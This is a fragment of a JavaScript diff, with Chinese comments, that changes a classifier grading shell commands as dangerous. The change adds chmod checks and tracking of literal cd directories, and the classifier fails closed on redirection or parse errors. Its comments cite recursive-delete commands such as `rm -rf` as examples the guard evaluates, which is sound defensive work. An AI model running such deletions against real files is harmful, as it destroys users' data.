+ if (PROCESS_COMMANDS.has(first))
1103
+ return 'gray';
890
1104
  if (first === 'find') {
891
1105
  if (FIND_HARD_ACTION_FLAGS.test(s) || classifyFindExecTargets(s) === 'dangerous')
892
1106
  return 'hard';
@@ -894,26 +1108,32 @@ function classifyDangerousSeg(seg, isDeletableTarget, cwdUnreliable) {
894
1108
  return 'none';
895
1109
  if (REDIRECTION_RE.test(s))
896
1110
  return 'hard';
897
- return checkFindDeleteTargets(s, isDeletableTarget, cwdUnreliable);
1111
+ return checkFindDeleteTargets(s, isDeletableTarget, cwd);
898
1112
  }
1113
+ // 删除/chmod 命令夹带重定向属反常组合,不细分,fail-closed
899
1114
  if (DELETE_COMMANDS.has(first)) {
900
- // 删除命令夹带重定向属反常组合,不细分,fail-closed
901
1115
  if (REDIRECTION_RE.test(s))
902
1116
  return 'hard';
903
- return checkDeleteOperands(s, isDeletableTarget, cwdUnreliable);
1117
+ return checkDeleteOperands(s, isDeletableTarget, cwd);
1118
+ }
1119
+ if (first === 'chmod') {
1120
+ if (REDIRECTION_RE.test(s))
1121
+ return 'hard';
1122
+ return checkChmodOperands(s, isDeletableTarget, cwd);
904
1123
  }
905
1124
  return 'none';
906
1125
  }
907
1126
  /**
908
- * 整条命令的危险分级:逐子命令取最严(任一 hard → hard;否则任一 deletable → deletable)。
1127
+ * 整条命令的危险分级:逐子命令取最严(任一 hard → hard;否则任一 gray → gray)。
909
1128
  * 与 hasDangerousCommand 严格对齐:本函数返回 none 当且仅当 hasDangerousCommand 为 false,
910
1129
  * 即分级只在「现状确定性转人工」的集合内部细分,绝不扩大放行面。
911
1130
  *
912
- * 命令里出现 cd/pushd/popd 时后续子命令的 cwd 无法静态跟踪,相对路径目标一律拒绝
913
- * (绝对路径不受影响)。解析失败 fail-closed 判 hard。
1131
+ * 命令里的字面 cd(`cd /tmp && rm -rf x`、`cd packages/app && rm -rf dist`)按 && 语义静态跟踪,
1132
+ * 后续相对目标先拼上跟踪到的目录再交策略回调;无法跟踪(变量/~/pushd/`||`/管道/子 shell)
1133
+ * 时相对路径目标一律拒绝(绝对路径不受影响)。解析失败 fail-closed 判 hard。
914
1134
  *
915
- * @param isDeletableTarget 路径策略回调:判定单个删除目标(已解析为字面路径)是否落在
916
- * 允许删除的范围(由调用方定义,通常为项目内或系统临时目录,排除项目根自身与 .git)
1135
+ * @param isDeletableTarget 路径策略回调:判定单个目标(已解析为字面路径)是否落在
1136
+ * 允许范围(由调用方定义,通常为项目内或系统临时目录,排除项目根自身与 .git)
917
1137
  */
918
1138
  function classifyDangerousCommand(command, isDeletableTarget) {
919
1139
  let segs;
@@ -923,17 +1143,14 @@ function classifyDangerousCommand(command, isDeletableTarget) {
923
1143
  catch {
924
1144
  return 'hard';
925
1145
  }
926
- const cwdUnreliable = segs.some(seg => {
927
- const first = seg.trim().split(/\s+/)[0];
928
- return first === 'cd' || first === 'pushd' || first === 'popd';
929
- });
1146
+ const cwds = trackSegCwds(command, segs);
930
1147
  let cls = 'none';
931
- for (const seg of segs) {
932
- const c = classifyDangerousSeg(seg, isDeletableTarget, cwdUnreliable);
1148
+ for (let i = 0; i < segs.length; i++) {
1149
+ const c = classifyDangerousSeg(segs[i], isDeletableTarget, cwds[i] ?? null);
933
1150
  if (c === 'hard')
934
1151
  return 'hard';
935
- if (c === 'deletable')
936
- cls = 'deletable';
1152
+ if (c === 'gray')
1153
+ cls = 'gray';
937
1154
  }
938
1155
  return cls;
939
1156
  }